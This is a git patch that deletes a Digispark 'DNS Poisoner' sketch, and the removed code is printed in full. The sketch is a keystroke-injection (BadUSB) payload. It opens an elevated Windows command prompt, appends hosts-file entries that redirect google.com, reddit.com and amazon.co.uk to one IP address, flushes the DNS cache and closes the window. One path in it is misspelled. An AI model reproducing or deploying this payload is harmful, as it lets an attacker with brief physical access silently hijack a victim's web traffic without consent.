From 5fd3a6bb1f15ae1ee10394808039ccc7628bd420 Mon Sep 17 00:00:00 2001 From: Padsalatrushal <72153700+Padsalatrushal@users.noreply.github.com> Date: Sat, 16 Oct 2021 08:36:28 +0530 Subject: [PATCH] Delete DNS Poisoner directory --- DNS Poisoner/DNS_Poisoner.ino | 25 ------------------------- 1 file changed, 25 deletions(-) delete mode 100644 DNS Poisoner/DNS_Poisoner.ino diff --git a/DNS Poisoner/DNS_Poisoner.ino b/DNS Poisoner/DNS_Poisoner.ino deleted file mode 100644 index 9efa117..0000000 --- a/DNS Poisoner/DNS_Poisoner.ino +++ /dev/null @@ -1,25 +0,0 @@ -#include "DigiKeyboard.h" -void setup() { -} - -void loop() { - DigiKeyboard.sendKeyStroke(0); - //This opens an administrator command prompt - DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); - DigiKeyboard.sendKeyStroke(KEY_A); - DigiKeyboard.delay(500); - DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); - DigiKeyboard.delay(500); - //Adds the set websites & ips to the hosts file in windows, currently all redirect to dell - DigiKeyboard.println("ECHO 143.166.83.38 www.google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 www.reddit.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 reddit.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 www.amazon.co.uk >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 amazon.co.uk >> C:/SYSTEM32/DRIVERS/ETC/HOSTS"); - //clears dns cache - DigiKeyboard.println("ipconfig /flushdns"); - //exits the terminal - DigiKeyboard.println("exit"); - for(;;){ /*empty*/ } -}